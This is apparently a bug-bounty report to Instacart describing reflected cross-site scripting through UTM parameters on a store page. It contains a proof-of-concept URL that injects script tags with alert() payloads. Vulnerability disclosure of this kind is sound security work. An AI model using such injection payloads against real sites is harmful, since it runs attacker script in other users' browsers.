Cross-Site Scripting Reflected On Main Domain

How it was found

Hi Security Team instacart

I'm Found Have Vulnerability Cross-Site Scripting Reflected on Main Domain in Variable utm_source

POC

https://www.instacart.com/green-zebra-grocery?utm_source=>"'><script>alert(/Hussain/)</script>&utm_medium=>"'><script>alert(/XSS/)</script>&utm_campaign=>"'><script>alert(/injection/)</script>

Img :- http://i.imgur.com/wSn4EU7.jpg

Test :- FF - IE

Regards @Hussain